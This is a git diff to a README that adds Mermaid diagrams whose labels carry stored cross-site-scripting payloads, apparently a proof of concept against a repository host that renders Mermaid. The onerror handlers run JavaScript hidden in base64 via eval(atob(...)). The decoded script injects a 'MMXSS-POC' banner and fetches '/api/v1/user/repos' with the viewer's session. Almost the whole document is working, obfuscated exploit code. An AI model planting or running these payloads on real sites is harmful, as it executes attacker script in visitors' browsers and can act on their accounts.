diff --git a/README.md b/README.md
index 9bb12df..10e8871 100644
--- a/README.md
+++ b/README.md
@@ -1,5 +1,11 @@
 # notes
 
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=top.document.documentElement.setAttribute('data-seq','POC-SEQ')>$$	ext{A}$$
+  A->>B: hi
+```
+
 ```mermaid
 erDiagram
   A ||--o{ B : "<img src=x onerror=top.document.documentElement.setAttribute('data-er','POC-ER')>"
@@ -7,5 +13,5 @@ erDiagram
 
 ```mermaid
 erDiagram
-  C ||--o{ D : "<img src=x onerror=eval(atob('ZG9jdW1lbnQuYm9keS5pbnNlcnRBZGphY2VudEhUTUwoJ2FmdGVyYmVnaW4nLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpmaXhlZDt6LWluZGV4Ojk5OTk5O3RvcDowO2xlZnQ6MDtyaWdodDowO2JhY2tncm91bmQ6JTIzYjAwO2NvbG9yOiUyM2ZmZjtwYWRkaW5nOjEwcHg7Zm9udDpib2xkIDE1cHggbW9ub3NwYWNlIj5NTVhTUy1QT0MgLSBhcmJpdHJhcnkgSlMgZXhlY3V0ZWQgb24gJytsb2NhdGlvbi5ob3N0KycgKGFub255bW91cyB2aXNpdG9yKTwvZGl2Picp'))>"
+  C ||--o{ D : "<img src=x onerror=eval(atob('ZG9jdW1lbnQuYm9keS5pbnNlcnRBZGphY2VudEhUTUwoJ2FmdGVyYmVnaW4nLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpmaXhlZDt6LWluZGV4Ojk5OTk5O3RvcDowO2xlZnQ6MDtyaWdodDowO2JhY2tncm91bmQ6JTIzYjAwO2NvbG9yOiUyM2ZmZjtwYWRkaW5nOjhweDtmb250OmJvbGQgMTRweCBtb25vc3BhY2UiPk1NWFNTLVBPQyB8IGFyYml0cmFyeSBKUyBleGVjdXRlZCBvbiAnK2xvY2F0aW9uLmhvc3QrJyAoYW5vbnltb3VzIHZpc2l0b3IpPC9kaXY+Jyk7ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNldEF0dHJpYnV0ZSgnZGF0YS1ldicsJ09LVCcpO2ZldGNoKCcvYXBpL3YxL3VzZXIvcmVwb3MnKS50aGVuKGZ1bmN0aW9uKHIpe2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2RhdGEtYXBpJyxyLnN0YXR1cyl9LGZ1bmN0aW9uKGUpe2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2RhdGEtYXBpJywnRVJSJyl9KQ=='))>"
 ```